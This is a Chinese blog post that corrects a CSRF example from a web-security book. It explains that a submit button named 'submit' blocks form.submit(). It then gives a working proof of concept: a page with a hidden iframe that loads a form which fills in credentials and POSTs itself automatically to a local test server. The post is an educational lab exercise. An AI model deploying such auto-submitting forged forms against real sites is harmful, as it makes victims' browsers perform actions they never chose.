CSRF之POST

最近重温《白帽子讲web安全》一书,看到第4章CSRF的时候,发现有个错误的地方,第116页底部的代码中有个坑,那段代码是运行不了的。原因是在form表单中有个<input type=submit name="submit" value="submit">,因为name="submit"会和js代码中的f.submit()冲突,导致f.submit()的方法执行不了。

最后自己改了下代码做了下实验

fake.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>CSRF 1</title>
 6 </head>
 7 <body>
 8     <div>
 9         hello
10     </div>
11     <iframe src="./csrf.html" frameborder="0" hidden="hidden"></iframe>    
12 </body>
13 </html>

CSRF.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>CSRF</title>
 6 </head>
 7 <body>
 8     <form action="http://192.168.1.188/mycode/csrf.php" id="test" method="POST">
 9         <input type="text" name="user"><br>
10         <input type="text" name="pass">
11         
12     </form>
13 </body>
14 <script>
15     var f=document.getElementById("test");
16     f.getElementsByTagName("input")[0].value="user";
17     f.getElementsByTagName("input")[1].value="pass";
18     f.submit();
19 </script>
20 </html>

在firebug中查看网络数据包可以看到POST成功

 

posted @ 2016-04-26 16:41  不断学习中的小菜鸟  阅读(4314)  评论(0编辑  收藏  举报